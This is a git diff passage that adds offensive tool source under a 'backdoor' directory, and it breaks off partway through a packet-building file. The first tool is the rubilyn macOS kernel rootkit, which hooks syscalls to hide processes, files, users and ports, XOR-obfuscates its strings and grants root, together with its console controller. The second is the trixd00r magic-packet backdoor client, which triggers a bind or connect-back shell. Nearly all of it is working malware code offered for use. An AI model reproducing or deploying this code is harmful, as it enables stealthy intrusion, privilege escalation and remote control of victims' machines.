my_KUNCExecute((char*)&k_cmd, kOpenAppAsRoot, kOpenApplicationPath); + } + return 0; +} + +static errno_t ipf_output(void* cookie, mbuf_t *data, ipf_pktopts_t options) +{ + return 0; +} + +static void ipf_detach(void* cookie) +{ +} + +static struct ipf_filter ip_filter_ipv4 = { + .name = "rubilyn", + .ipf_input = ipf_input, + .ipf_output = ipf_output, + .ipf_detach = ipf_detach, +}; + + +int hidden_p_count = 0; +struct proc* hidden_p[MAX_HIDDEN_PROCESS]; + +/* modify allproc to hide a specific pid */ +static int hideproc(int pid) +{ + struct proc* p; + if(pid!=0){ + for (p = my_allproc->lh_first; p != 0; p = p->p_list.le_next) + { + if(pid == p->p_pid) + { + if(hidden_p_count < MAX_HIDDEN_PROCESS) + { + hidden_p[hidden_p_count]=p; + hidden_p_count++; + my_proc_list_lock(); + LIST_REMOVE(p, p_list); + my_proc_list_unlock(); + } + } + } + } + return 0; +} + +/* put the proc back via deceptikom */ +static int unhideproc(int pid) +{ + struct proc* p; + int count; + if(pid!=0){ + if(hidden_p_count > 0) + { + for(count = 0;count < hidden_p_count;count++) // 1t + { + p = hidden_p[count]; + if(pid == p->p_pid) + { + my_proc_list_lock(); + LIST_INSERT_HEAD(my_allproc,p,p_list); + my_proc_list_unlock(); + hidden_p_count--; + } + } + } + } + return 0; +} + +/* XOR string crypt routine. */ +char* string_hide(char* string,int len,char* key){ + int key_count = 0; + int byte; + char* new_string = _MALLOC(len+1,M_TEMP,M_WAITOK); + if(new_string){ + memset(new_string,0,len+1); + for(int i = 0;i < len;i++){ + byte = (int)string[i]; + byte = byte ^ (int)key[key_count]; + memcpy((void*)(uint64_t)new_string+i,&byte,sizeof(char)); + key_count++; + if(key_count == strlen(key)){ + key_count = 0; + } + } + return new_string; + } + return 0; +} + +/* greetz nemo & stealth ;-) */ +char *my_strstr(char *s, char *find) +{ + register char c, sc; + register size_t len; + if ((c = *find++) != 0) { + len = strlen(find); + do { + do { + if ((sc = *s++) == 0) + return (NULL); + } while (sc != c); + } while (strncmp(s, find, len) != 0); + s--; + } + return ((char *)s); +} + +/* the string value decryptor routine */ +int string_handler(){ + char* symbol; + linkeditstr = string_hide("\x16\x7f\x22\x2c\x38\x2e\x37\x64\x3a\x31",10,key); + if(linkeditstr){ + symbol = string_hide("\x16\x4e\x1d\x1c\x5\x0\x1c\x54",8,key); + if(symbol){ + nsysent = (uint64_t*)find_symbol(symbol); + } + else{ + return -1; + } + symbol = string_hide("\x16\x4c\xd\xe\x29\x8\x6\x58\x2c\x9\xa\xe\x4b",13,key); + if(symbol){ + my_lck_mtx_lock = (lck_mtx_lockp)find_symbol(symbol); + } + else{ + return -1; + } + symbol = string_hide("\x16\x4b\xf\x10\x2\xd\x2d\x43\x1\x0\x1\x32\x53\x11\x1b\x55\x1\x5\x11\xc\x44",21,key); + if(symbol){ + my_kauth_cred_setuidgid = (kauth_cred_setuidgidp)find_symbol(symbol); + } + else{ + return -1; + } + symbol = string_hide("\x16\x4c\xd\xe\x29\x8\x6\x58\x2c\x10\xb\x1\x4f\x17\x4",15,key); + if(symbol){ + my_lck_mtx_unlock = (lck_mtx_unlockp)find_symbol(symbol); + } + else{ + return -1; + } + symbol = string_hide("\x16\x6b\x3b\x2b\x35\x20\xa\x45\x10\x10\x11\x8",12,key); + if(symbol){ + my_KUNCExecute = (KUNCExecutep)find_symbol(symbol); + } + else{ + return -1; + } + symbol = string_hide("\x16\x50\x1c\xa\x15\x3a\x1e\x49\x0\x11\x3a\x1\x4f\x17\x4",15,key); + if(symbol){ + my_proc_list_lock = (proc_list_lockp)find_symbol(symbol); + } + else{ + return -1; + } + symbol = string_hide("\x16\x50\x1c\xa\x15\x3a\x1e\x49\x0\x11\x3a\x18\x4e\x18\x0\x43\x3",17,key); + if(symbol){ + my_proc_list_unlock = (proc_list_unlockp)find_symbol(symbol); + } + else{ + return -1; + } + symbol = string_hide("\x16\x41\x2\x9\x6\x17\x1d\x43",8,key); + if(symbol){ + my_allproc = (struct proclist*)find_symbol(symbol); + } + else{ + return -1; + } + } + else{ + /* fatal couldn't try to search symbols */ + return -1; + } + /* resident strings */ + sysctl = string_hide("\x3a\x59\x1d\x6\x2\x9",6,key); + rubilyn = string_hide("\x3b\x55\xc\xc\x1a\x1c\x1c",7,key); + kextstat = string_hide("\x22\x45\x16\x11\x5\x11\x13\x54",8,key); + netstat = string_hide("\x27\x45\x1a\x16\x2\x4\x6",7,key); + w = string_hide("\x3e",1,key); + who = string_hide("\x3e\x48\x1",3,key); + grep = string_hide("\x2e\x52\xb\x15",4,key); + icmpstr = string_hide(MAGIC_ICMP_STR,MAGIC_ICMP_STR_LEN,key); + if(!sysctl||!rubilyn||!kextstat||!netstat||!w||!who||!grep||!icmpstr){ + return -1; + } + return 0; +} + +/* hooked write_nocancel for hiding console stuff */ +int new_write_nocancel(struct proc* p, struct write_nocancel_args *uap, user_ssize_t* retval) +{ + char buffer[MAXBUFFER]; + if(strncmp(p->p_comm, grep, strlen(p->p_comm))==0||strncmp(p->p_comm, sysctl,strlen(p->p_comm))==0|| + strncmp(p->p_comm, kextstat,strlen(p->p_comm))==0){ + bzero(buffer, sizeof(buffer)); + copyin(uap->cbuf, buffer, sizeof(buffer)-1); + if(my_strstr(buffer, rubilyn)) + return(uap->nbyte); + } + if(strncmp(p->p_comm, netstat,strlen(p->p_comm))==0){ + bzero(buffer, sizeof(buffer)); + copyin(uap->cbuf, buffer, sizeof(buffer)-1); + if(my_strstr(buffer, (char*)&k_port)) + return(uap->nbyte); + } + if((strncmp(p->p_comm,w,strlen(p->p_comm))==0||strncmp(p->p_comm,who,strlen(p->p_comm))==0)) + { + bzero(buffer, sizeof(buffer)); + copyin(uap->cbuf, buffer, sizeof(buffer)-1); + if(my_strstr(buffer, (char*)&k_user)) + return(uap->nbyte); + } + return org_write_nocancel(p,uap,retval); +} + +/* kext start function */ +kern_return_t rubilyn_start(kmod_info_t * ki, void *d) +{ + smashASLR(); + struct sysent *table; + if(string_handler()==0) + { + if(nsysent){ + table = find_sysent(); + if(table){ + /* back up original syscall pointers */ + org_getdirentries64 = (void *) table[SYS_getdirentries64].sy_call; + org_getdirentriesattr = (void *) table[SYS_getdirentriesattr].sy_call; + org_write_nocancel = (void *) table[SYS_write_nocancel].sy_call; + /* replace syscalls in syscall table */ + table[SYS_getdirentries64].sy_call = (void *) new_getdirentries64; + table[SYS_getdirentriesattr].sy_call = (void *) new_getdirentriesattr; + table[SYS_write_nocancel].sy_call = (void *) new_write_nocancel; + /* register our sysctl entries */ + sysctl_register_oid(&sysctl__debug_rubilyn); + sysctl_register_oid(&sysctl__debug_rubilyn_pid); + sysctl_register_oid(&sysctl__debug_rubilyn_pid2); + sysctl_register_oid(&sysctl__debug_rubilyn_pid3); + sysctl_register_oid(&sysctl__debug_rubilyn_dir); + sysctl_register_oid(&sysctl__debug_rubilyn_cmd); + sysctl_register_oid(&sysctl__debug_rubilyn_user); + sysctl_register_oid(&sysctl__debug_rubilyn_port); + /* install IPv4 filter hook */ + ipf_addv4(&ip_filter_ipv4, &ip_filter_ipv4_ref); + } + else{ + return KERN_FAILURE; + } + } + else{ + return KERN_FAILURE; + } + } + else{ + return KERN_FAILURE; + } + return KERN_SUCCESS; +} + +/* kext stop called on unload */ +kern_return_t rubilyn_stop(kmod_info_t *ki, void *d) +{ + /* clean up */ + struct sysent *table; + table = find_sysent(); + if(table){ + table[SYS_getdirentries64].sy_call = (void *) org_getdirentries64; + table[SYS_getdirentriesattr].sy_call = (void *) org_getdirentriesattr; + table[SYS_write_nocancel].sy_call = (void*) org_write_nocancel; + sysctl_unregister_oid(&sysctl__debug_rubilyn_pid3); + sysctl_unregister_oid(&sysctl__debug_rubilyn_pid2); + sysctl_unregister_oid(&sysctl__debug_rubilyn_pid); + sysctl_unregister_oid(&sysctl__debug_rubilyn_dir); + sysctl_unregister_oid(&sysctl__debug_rubilyn_cmd); + sysctl_unregister_oid(&sysctl__debug_rubilyn_user); + sysctl_unregister_oid(&sysctl__debug_rubilyn_port); + sysctl_unregister_oid(&sysctl__debug_rubilyn); + ipf_remove(ip_filter_ipv4_ref); + } + else{ + return KERN_FAILURE; + } + return KERN_SUCCESS; +} diff --git a/backdoor/rubilyn/source/rubilyn/rubilyn.kext/Contents/Info.plist b/backdoor/rubilyn/source/rubilyn/rubilyn.kext/Contents/Info.plist new file mode 100644 index 0000000..c557dd8 --- /dev/null +++ b/backdoor/rubilyn/source/rubilyn/rubilyn.kext/Contents/Info.plist @@ -0,0 +1,49 @@ + + + + + BuildMachineOSBuild + 11E53 + CFBundleDevelopmentRegion + English + CFBundleExecutable + rubilyn + CFBundleIdentifier + com.hackerfantastic.rubilyn + CFBundleInfoDictionaryVersion + 6.0 + CFBundleName + rubilyn + CFBundlePackageType + KEXT + CFBundleShortVersionString + 1.0 + CFBundleSignature + ???? + CFBundleVersion + 1 + DTCompiler + com.apple.compilers.llvm.clang.1_0 + DTPlatformBuild + 4E2002 + DTPlatformVersion + GM + DTSDKBuild + 11D50a + DTSDKName + macosx10.7 + DTXcode + 0432 + DTXcodeBuild + 4E2002 + NSHumanReadableCopyright + Copyright © 2012 Hacker Fantastic. All rights are lust. + OSBundleLibraries + + com.apple.kpi.bsd + 10.0.0 + com.apple.kpi.libkern + 10.0.0 + + + diff --git a/backdoor/rubilyn/source/rubilyn/rubilyn.kext/Contents/MacOS/rubilyn b/backdoor/rubilyn/source/rubilyn/rubilyn.kext/Contents/MacOS/rubilyn new file mode 100755 index 0000000..4d4d466 Binary files /dev/null and b/backdoor/rubilyn/source/rubilyn/rubilyn.kext/Contents/MacOS/rubilyn differ diff --git a/backdoor/rubilyn/source/rubilyn/rubilyn.kext/Contents/Resources/en.lproj/InfoPlist.strings b/backdoor/rubilyn/source/rubilyn/rubilyn.kext/Contents/Resources/en.lproj/InfoPlist.strings new file mode 100644 index 0000000..5e45963 Binary files /dev/null and b/backdoor/rubilyn/source/rubilyn/rubilyn.kext/Contents/Resources/en.lproj/InfoPlist.strings differ diff --git a/backdoor/rubilyn/source/rubilyn/rubilyncon b/backdoor/rubilyn/source/rubilyn/rubilyncon new file mode 100755 index 0000000..ad8aca7 Binary files /dev/null and b/backdoor/rubilyn/source/rubilyn/rubilyncon differ diff --git a/backdoor/rubilyn/source/rubilyncon.c b/backdoor/rubilyn/source/rubilyncon.c new file mode 100755 index 0000000..41b52b1 --- /dev/null +++ b/backdoor/rubilyn/source/rubilyncon.c @@ -0,0 +1,151 @@ +/* rubilyncon.c - a simple console interface to rubilyn rootkit for os-x + partially complete. Written for fun. + + -- prdelka +*/ +#include +#include +#include + +#define MAXLEN 4098 +#define MAXARG 512 + +void print_welcome(){ + printf("\n .o8 o8o oooo \n"); + printf(" \"888 `\"' `888 \n"); + printf(" oooo d8b oooo oooo 888oooo. oooo 888 oooo ooo ooo. .oo. \n"); + printf(" `888\"\"8P `888 `888 d88' `88b `888 888 `88. .8' `888P\"Y88b \n"); + printf(" 888 888 888 888 888 888 888 `88..8' 888 888 \n"); + printf(" 888 888 888 888 888 888 888 `888' 888 888 \n"); + printf(" d888b `V88V\"V8P' `Y8bod8P' o888o o888o .8' o888o o888o \n"); + printf(" .o..P' HARDCORE EST. 1983 \n"); + printf(" `Y8P' \n\n"); +} + +void print_menu(){ + printf("[menu]\n"); + printf("[1] give root to process\n"); + printf("[2] hide a process\n"); + printf("[3] unhide a process\n"); + printf("[4] hide a network port\n"); + printf("[5] hide a local user\n"); + printf("[6] hide files/folders\n"); + printf("[7] set icmp backdoor path\n"); + printf("[8] send icmp trigger to host\n"); + printf("[9] uninstall rootkit\n"); + printf("[h] help\n"); + printf("[q] exit\n"); +} + +void execute(char* arg2){ + int ret; + pid_t pid; + char* sysctl = "/usr/sbin/sysctl"; + char* arg1 = "-w"; + char* envp[] = { NULL }; + char* argv[] = { sysctl, arg1, arg2, NULL}; + switch(pid=fork()){ + case 0: + ret = execve(sysctl, argv, envp); + default: + waitpid(pid, &ret, 0); + break; + } +} + +char* read_arg(){ + char* string; + string = malloc(MAXARG); + if(!string) + exit(0); + memset(string,0,MAXARG); + scanf("%512s",string); + return string; +} + +void main_menu(){ + char str; + char arg[MAXLEN]; + do{ + memset(arg,0,MAXLEN); + memcpy(arg,"debug.rubilyn.",strlen("debug.rubilyn.")); + printf("--> "); + str = getchar(); + switch(str){ + case '1': + printf("enter process id to give root: "); + strcat(arg,"pid="); + strcat(arg,read_arg()); + execute(arg); + break; + case '2': + printf("enter process id to hide: "); + strcat(arg,"pid2="); + strcat(arg,read_arg()); + execute(arg); + printf("warning!! do not kill a hidden process or face the wrath of mach_task!\n"); + break; + case '3': + printf("enter process id to unhide: "); + strcat(arg,"pid3="); + strcat(arg,read_arg()); + execute(arg); + break; + case '4': + printf("enter network port to hide: "); + strcat(arg,"port="); + strcat(arg,read_arg()); + execute(arg); + break; + case '5': + printf("enter username to hide: "); + strcat(arg,"user="); + strcat(arg,read_arg()); + execute(arg); + break; + case '6': + printf("enter string to hide on file system: "); + strcat(arg,"dir="); + strcat(arg,read_arg()); + execute(arg); + break; + case '7': + printf("enter icmp path for backdoor: "); + strcat(arg,"cmd="); + strcat(arg,read_arg()); + execute(arg); + break; + case '8': + printf("not ready yet\n"); + break; + case '9': + printf("not ready yet"); + break; + case 'h': + print_menu(); + break; + case '?': + print_menu(); + break; + case 'q': + exit(0); + break; + case 'x': + exit(0); + break; + default: + printf("Invalid selection\n"); + break; + } + } + while(getchar() != '\n'); +} + +int main(){ + print_welcome(); + print_menu(); + while(1){ + main_menu(); + } + return 0; +} diff --git a/backdoor/trixd00r/README.md b/backdoor/trixd00r/README.md new file mode 100644 index 0000000..a69a6e0 --- /dev/null +++ b/backdoor/trixd00r/README.md @@ -0,0 +1,16 @@ +# Description +trixd00r is an advanced and invisible userland backdoor based on TCP/IP for UNIX +systems. It consists of a server and a client. The server sits and waits for +magic packets using a sniffer. If a magic packet arrives, it will bind a shell +over TCP or UDP on the given port or connecting back to the client again over +TCP or UDP. The client is used to send magic packets to trigger the server and +get a shell. + +# Author +noptrix + +# Disclaimer +We hereby emphasize, that the hacking related stuff on +[nullsecurity.net](http://nullsecurity.net) is only for education purposes. +We are not responsible for any damages. You are responsible for your own +actions. diff --git a/backdoor/trixd00r/release/trixd00r-0.0.1.tar.gz b/backdoor/trixd00r/release/trixd00r-0.0.1.tar.gz new file mode 100644 index 0000000..8c6ae5b Binary files /dev/null and b/backdoor/trixd00r/release/trixd00r-0.0.1.tar.gz differ diff --git a/backdoor/trixd00r/source/Makefile b/backdoor/trixd00r/source/Makefile new file mode 100644 index 0000000..1472e7c --- /dev/null +++ b/backdoor/trixd00r/source/Makefile @@ -0,0 +1,104 @@ +################################################################################ +# ____ _ __ # +# ___ __ __/ / /__ ___ ______ ______(_) /___ __ # +# / _ \/ // / / (_- +#include + + +/* default values */ +#define DEF_TYPE _TCP_SYN_TYPE /* packet/protocol type */ +#define DEF_PAYLOAD "opensesame" /* default magic payload */ +#define DEF_PORT 31337 /* default port to connect/listen */ + + +/* packet type descriptions */ +#define TCP_SYN_TYPE "TCP SYN" +#define TCP_ACK_TYPE "TCP ACK" +#define TCP_RST_TYPE "TCP RST" +#define TCP_PSH_TYPE "TCP PSH" +#define TCP_URG_TYPE "TCP URG" +#define TCP_FIN_TYPE "TCP FIN" +#define UDP_TYPE "UDP" +#define ICMP_ECHO_TYPE "ICMP" + + +/* needed tcp flags */ +#define TH_FIN 0x01 /* TCP FIN flag */ +#define TH_SYN 0x02 /* TCP SYN flag */ +#define TH_RST 0x04 /* TCP RST flag */ +#define TH_PSH 0x08 /* TCP PUSH flag */ +#define TH_ACK 0x10 /* TCP ACK flag */ +#define TH_URG 0x20 /* TCP URG flag */ + + +/* ip header */ +typedef struct { + unsigned int ver:4; /* version */ + unsigned int ihl:4; /* header len */ + uint8_t tos; /* type of service */ + unsigned short len; /* total length */ + unsigned short id; /* identification */ + unsigned short off; /* fragment offset field */ + uint8_t ttl; /* time to live */ + uint8_t p; /* protocol */ + unsigned short sum; /* checksum */ + struct in_addr src, dst; /* source and dest address */ +} ip_t; + + +/* tcp header */ +typedef struct { + uint16_t sport; /* source port */ + uint16_t dport; /* destination port */ + uint32_t seq; /* sequence number */ + uint32_t ack; /* acknowledgement number */ + uint32_t x2:4; /* unused */ + uint32_t off:4; /* data offset */ + uint8_t flags; /* tcp flags */ + uint16_t win; /* window */ + uint16_t sum; /* checksum */ + uint16_t urp; /* urgent pointer */ +} tcp_t; + + +/* udp header */ +typedef struct { + uint16_t sport; /* source port */ + uint16_t dport; /* destination port */ + uint16_t len; /* udp length */ + uint16_t sum; /* udp checksum */ +} udp_t; + + +/* our magic packet and settings */ +typedef struct { + int one; /* for setsockopt() raw socket */ + int lfd; /* listen socket descriptor */ + int cfd; /* connect socket descriptor */ + struct sockaddr_in srv; /* server */ + struct sockaddr_in cli; /* client */ + socklen_t len; /* len of sockaddr_in {} */ + ip_t *ip; /* ip header */ + tcp_t *tcp; /* tcp header */ + udp_t *udp; /* udp header */ + long int hdrlen; /* either tcp, udp or icmp (sizeof) */ + char *host; /* trixd00rd host */ + char *magic_packet; /* magic packet */ + unsigned char type; /* magic packet type */ + char *payload; /* magic payload */ + uint16_t port; /* port to connect or listen */ + unsigned char verbose; /* see controller.h */ +} packet_t; + + +/* packet types */ +enum { + _TCP_SYN_TYPE = 0, _TCP_ACK_TYPE, _TCP_RST_TYPE, _TCP_PSH_TYPE, + _TCP_URG_TYPE, _TCP_FIN_TYPE, _UDP_TYPE, _NUM_PKT_TYPES +}; + + +/* icmp header */ +typedef struct { + int dummy; +} icmp_t; + + +/* print out supported magic packet types and protocol */ +void print_packet_types(); + + +/* send our magic packet */ +void send_packet(packet_t *); + + +/* build our magic packet */ +void build_packet(packet_t *); + + +#endif + +/* EOF */ diff --git a/backdoor/trixd00r/source/client/inc/shell.h b/backdoor/trixd00r/source/client/inc/shell.h new file mode 100644 index 0000000..50d0782 --- /dev/null +++ b/backdoor/trixd00r/source/client/inc/shell.h @@ -0,0 +1,87 @@ +/******************************************************************************* + * ____ _ __ * + * ___ __ __/ / /__ ___ ______ ______(_) /___ __ * + * / _ \/ // / / (_-cfd, "exit", 4, 0, (struct sockaddr *) &packet->srv, \ + packet->len); + + +/* default values */ +#define DEF_MODE _TCP_CONN_PORT + + +/* socket read()/write() buffer */ +#define SOCKBUF 4096 + + +/* available shell modes (description) */ +#define TCP_CONN_PORT "TCP connect" +#define TCP_BIND_PORT "TCP listen" +#define UDP_CONN_PORT "UDP connect" +#define UDP_BIND_PORT "UDP listen" + + +typedef struct { + unsigned char mode; /* connect or listen mode, tcp or udp? */ + packet_t *packet; /* see packet.h */ + unsigned char verbose; /* see controller.h */ +} shell_t; + + +/* shell modes */ +enum { + _TCP_CONN_PORT = 0, _TCP_BIND_PORT, _UDP_CONN_PORT, _UDP_BIND_PORT, + _NUM_SHELL_MODES +}; + + +/* print available shell modes */ +void print_shell_modes(); + + +/* get evil shell */ +void get_shell(shell_t *); + + +#endif + +/* EOF */ diff --git a/backdoor/trixd00r/source/client/inc/signals.h b/backdoor/trixd00r/source/client/inc/signals.h new file mode 100644 index 0000000..f441048 --- /dev/null +++ b/backdoor/trixd00r/source/client/inc/signals.h @@ -0,0 +1,61 @@ +/******************************************************************************* + * ____ _ __ * + * ___ __ __/ / /__ ___ ______ ______(_) /___ __ * + * / _ \/ // / / (_- + + +/* foo */ +typedef void sigfunc(int); + + +/* signal handler */ +sigfunc *xsignal(int, sigfunc *); + + +/* we don't want to have zombies :) */ +void sig_chld(); + + +/* connect timeout */ +void connect_alarm(); + + +/* cleanup for SIGINT/SIGTERM */ +void cleanup(); + + +#endif + +/* EOF */ diff --git a/backdoor/trixd00r/source/client/inc/trixd00r.h b/backdoor/trixd00r/source/client/inc/trixd00r.h new file mode 100644 index 0000000..3133975 --- /dev/null +++ b/backdoor/trixd00r/source/client/inc/trixd00r.h @@ -0,0 +1,64 @@ +/******************************************************************************* + * ____ _ __ * + * ___ __ __/ / /__ ___ ______ ______(_) /___ __ * + * / _ \/ // / / (_- +#include +#include +#include +#include + + +/* misc global macros */ +#define VERSION "trixd00r v0.0.1" +#define ATOI(str) strtol(str, (char **) NULL, 10) + + +/* exit() */ +#define __EXIT_SUCCESS exit(EXIT_SUCCESS) +#define __EXIT_FAILURE exit(EXIT_FAILURE) + + +/* leet color codes */ +#define BLUE "\033[94m" +#define RED "\033[91m" +#define GREEN "\033[92m" +#define YELLOW "\033[93m" +#define NORM "\033[0m" + +#endif + +/* EOF */ diff --git a/backdoor/trixd00r/source/client/inc/verbose.h b/backdoor/trixd00r/source/client/inc/verbose.h new file mode 100644 index 0000000..c2f2f85 --- /dev/null +++ b/backdoor/trixd00r/source/client/inc/verbose.h @@ -0,0 +1,61 @@ +/******************************************************************************* + * ____ _ __ * + * ___ __ __/ / /__ ___ ______ ______(_) /___ __ * + * / _ \/ // / / (_-verbose) +#define __IF_VERBOSE_PKT if (packet->verbose) + +#define __VERBOSE_ARGS __IF_VERBOSE_CTRL \ + printf("[+] "BLUE"checking arguments"NORM"\n"); + +#define __VERBOSE_BUILD __IF_VERBOSE_CTRL \ + printf("[+] "BLUE"building magic packet"NORM"\n"); + +#define __VERBOSE_SEND __IF_VERBOSE_CTRL \ + printf("[+] "BLUE"sending magic packet"NORM"\n"); + +#define __VERBOSE_CONNECTED(host,port) __IF_VERBOSE_PKT \ + printf("--- "YELLOW"connected to %s:%u"NORM"\n", host, port); + +#define __VERBOSE_GOT_CONNECTION(host) __IF_VERBOSE_PKT \ + printf("--- "YELLOW"got a connection from %s"NORM"\n", host); + +#define __VERBOSE_GOT_SHELL __IF_VERBOSE_PKT \ + printf("--- "YELLOW"w00t, we've got a shell"NORM"\n"); + +#define __VERBOSE_END __IF_VERBOSE_CTRL \ + printf("[+] ending trixd00r"NORM"\n"); + +#endif + +/* EOF */ diff --git a/backdoor/trixd00r/source/client/inc/wrapper.h b/backdoor/trixd00r/source/client/inc/wrapper.h new file mode 100644 index 0000000..ac5a9d1 --- /dev/null +++ b/backdoor/trixd00r/source/client/inc/wrapper.h @@ -0,0 +1,91 @@ +/******************************************************************************* + * ____ _ __ * + * ___ __ __/ / /__ ___ ______ ______(_) /___ __ * + * / _ \/ // / / (_- +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + + +/* memory */ +void *xmalloc(size_t); +void *xmemset(void *, int, size_t); +void *xmemcpy(void *, const void *, size_t); +void *alloc_buff(unsigned int); + + +/* file */ +void xclose(int); +int xdup2(int, int); +void xselect(int, fd_set *, fd_set *, fd_set *, struct timeval *); +void xpipe(int *); + + +/* net */ +struct hostent *xgethostbyname(const char *); +int xsocket(int, int, int); +void xconnect(int, const struct sockaddr *, socklen_t); +void xsendto(int, const void *, size_t, int, const struct sockaddr *, socklen_t); +ssize_t xrecv(int, void *, size_t, int); +ssize_t xwrite(int, const void *, size_t); +ssize_t xread(int, void *, size_t); +void xsetsockopt(int, int, int, const void *, socklen_t); +void xinet_ntop(int, const void *, char *, socklen_t); +void xbind(int, const struct sockaddr *, socklen_t); +void xlisten(int, int); +int xaccept(int, struct sockaddr *, socklen_t *); + + + +/* misc */ +void xsystem(const char *); + + +/* own */ +char *convert_host(char *); + +#endif + +/* EOF */ diff --git a/backdoor/trixd00r/source/client/src/checks.c b/backdoor/trixd00r/source/client/src/checks.c new file mode 100644 index 0000000..5cdbbab --- /dev/null +++ b/backdoor/trixd00r/source/client/src/checks.c @@ -0,0 +1,140 @@ +/******************************************************************************* + * ____ _ __ * + * ___ __ __/ / /__ ___ ______ ______(_) /___ __ * + * / _ \/ // / / (_-= _NUM_PKT_TYPES) { + free_trixd00r(ctrl); + print_error(ERR_PKT_TYPE); + } + + return; +} + + +/* checks for valid shell mode / prints out available modes */ +void check_shell_mode(ctrl_t *ctrl, char *mode) +{ + if (strchr(mode, '?')) { + print_shell_modes(); + free_trixd00r(ctrl); + __EXIT_SUCCESS; + } + if (ATOI(mode) < 0 || ATOI(mode) >= _NUM_SHELL_MODES) { + free_trixd00r(ctrl); + print_error(ERR_SHELL_MODE); + } + + return; +} + + +/* checks for valid hosts */ +void check_host(char *host) +{ + int x = 0; + unsigned char buff[sizeof(struct in_addr)]; + + + x = inet_pton(AF_INET, host, buff); + + if (x <= 0) { + xgethostbyname(host); + } + + return; +} + + +/* checks for valid port number */ +void check_port(ctrl_t *ctrl, int port) +{ + if (port == 0 || port < 0 || port > 65535) { + free_trixd00r(ctrl); + print_error(ERR_PORT); + } + + return; +} + + +/* checks, if necessary arguments are selected */ +void check_args(ctrl_t *ctrl) +{ + if (ctrl->packet->host == NULL) { + free_trixd00r(ctrl); + print_error(ERR_ARGS); + } + + return; +} + + +/* check for uid 0 */ +void check_uid(ctrl_t *ctrl) +{ + uid_t uid = 0; + + + uid = getuid(); + + if (uid != 0) { + free_trixd00r(ctrl); + print_error(ERR_UID); + } + + return; +} + + +/* check first usage */ +void check_argc(int argc) +{ + if (argc < 2) { + print_error(ERR_ARGC); + } + + return; +} + + +/* EOF */ diff --git a/backdoor/trixd00r/source/client/src/controller.c b/backdoor/trixd00r/source/client/src/controller.c new file mode 100644 index 0000000..8c0299c --- /dev/null +++ b/backdoor/trixd00r/source/client/src/controller.c @@ -0,0 +1,124 @@ +/******************************************************************************* + * ____ _ __ * + * ___ __ __/ / /__ ___ ______ ______(_) /___ __ * + * / _ \/ // / / (_-packet->magic_packet != NULL) { + free(ctrl->packet->magic_packet); + } + if (ctrl->packet != NULL) { + free(ctrl->packet); + } + if (ctrl != NULL) { + free(ctrl); + } + + return; +} + + +/* ignore or handle some signals */ +void install_signals() +{ + /*xsignal(SIGTERM, SIG_IGN); + xsignal(SIGHUP, SIG_IGN); + xsignal(SIGINT, SIG_IGN); + xsignal(SIGUSR1, SIG_IGN); + xsignal(SIGUSR2, SIG_IGN);*/ + + /* here we do not ignore SIGCHLD, because we need to be without zombies */ + xsignal(SIGCHLD, sig_chld); + + return; +} + + +/* allocate buffer for each struct and fill in with zeros */ +ctrl_t *alloc_structs() +{ + ctrl_t *ctrl = NULL; + + + ctrl = (ctrl_t *) alloc_buff(sizeof(ctrl_t)); + ctrl->packet = (packet_t *) alloc_buff(sizeof(packet_t)); + ctrl->packet->magic_packet = (char *) alloc_buff(1500); + ctrl->shell = (shell_t *) alloc_buff(sizeof(shell_t)); + + return ctrl; +} + + +/* default settings for ctrl_t {} - prior to our complete definition */ +ctrl_t *set_ctrl_defaults(ctrl_t *ctrl) +{ + ctrl->packet->type = DEF_TYPE; + ctrl->shell->mode = DEF_MODE; + ctrl->packet->port = DEF_PORT; + ctrl->packet->payload = DEF_PAYLOAD; + ctrl->verbose = QUIET; + + return ctrl; +} + + +/* end of trixd00r */ +void end_trixd00r(ctrl_t *ctrl) +{ + free_trixd00r(ctrl); + + return; +} + + +/* begin of trixd00r */ +void start_trixd00r(ctrl_t *ctrl) +{ + __VERBOSE_BUILD; + build_packet(ctrl->packet); + + __VERBOSE_SEND; + send_packet(ctrl->packet); + + ctrl->shell->packet = ctrl->packet; + ctrl->packet->verbose = ctrl->verbose; + get_shell(ctrl->shell); + + return; +} + +/* EOF */ diff --git a/backdoor/trixd00r/source/client/src/error.c b/backdoor/trixd00r/source/client/src/error.c new file mode 100644 index 0000000..c987ca1 --- /dev/null +++ b/backdoor/trixd00r/source/client/src/error.c @@ -0,0 +1,106 @@ +/******************************************************************************* + * ____ _ __ * + * ___ __ __/ / /__ ___ ______ ______(_) /___ __ * + * / _ \/ // / / (_- [options]\n\ + \noptions:\n\n\ + -h - trixd00rd host\n\ + -t - magic packet - ? to list all (default TCP SYN)\n\ + -s - shell mode - ? to list all (default TCP connect)\n\ + -m - magic payload (default opensesame)\n\ + -p - port to connect or listen (default 31337)\n\ + -v - verbose mode (default quiet)\n\ + -V - show trixd00r version\n\ + -H - show help and usage\n"); + + return; +} + +/* EOF */ diff --git a/backdoor/trixd00r/source/client/src/packet.c b/backdoor/trixd00r/source/client/src/packet.c new file mode 100644 index 0000000..ebfbc9e --- /dev/null +++ b/backdoor/trixd00r/source/client/src/packet.c @@ -0,0 +1,237 @@ +/******************************************************************************* + * ____ _ __ * + * ___ __ __/ / /__ ___ ______ ______(_) /___ __ * + * / _ \/ // / / (_- 0) { + cksum += *addr++; + len -= 2; + } + + if (len == 0) { + cksum += *(unsigned char *) addr; + } + + cksum = (cksum >> 16) + (cksum & 0xffff); + cksum = cksum + (cksum >> 16); + + return ~cksum; +} + + +/* fill sockaddr_in {} */ +static void fill_sockaddr(packet_t *packet) +{ + packet->srv.sin_family = AF_INET; + packet->srv.sin_port = htons(packet->port); + packet->srv.sin_addr.s_addr = packet->ip->dst.s_addr; + + return; +} + + +/* create raw socket and set desired socket options */ +static void create_rawsock(packet_t *packet) +{ + packet->one = 1; + packet->cfd = xsocket(AF_INET, SOCK_RAW, IPPROTO_RAW); + xsetsockopt(packet->cfd, IPPROTO_IP, IP_HDRINCL, &packet->one, + sizeof(packet->one)); + + return; +} + + +/* get tcp flags for tcp header */ +static uint8_t get_tcp_flags(packet_t *packet) +{ + switch (packet->type) { + case _TCP_ACK_TYPE: return TH_ACK; break; + case _TCP_RST_TYPE: return TH_RST; break; + case _TCP_PSH_TYPE: return TH_PSH; break; + case _TCP_URG_TYPE: return TH_URG; break; + case _TCP_FIN_TYPE: return TH_FIN; break; + } + + /* default */ + return TH_SYN; +} + + +/* get IPPROTO_* for ip header */ +static uint8_t get_ip_protocol(packet_t *packet) +{ + if (packet->type <= _TCP_FIN_TYPE) { + packet->hdrlen = sizeof(tcp_t); + return IPPROTO_TCP; + } else { + packet->hdrlen = sizeof(udp_t); + return 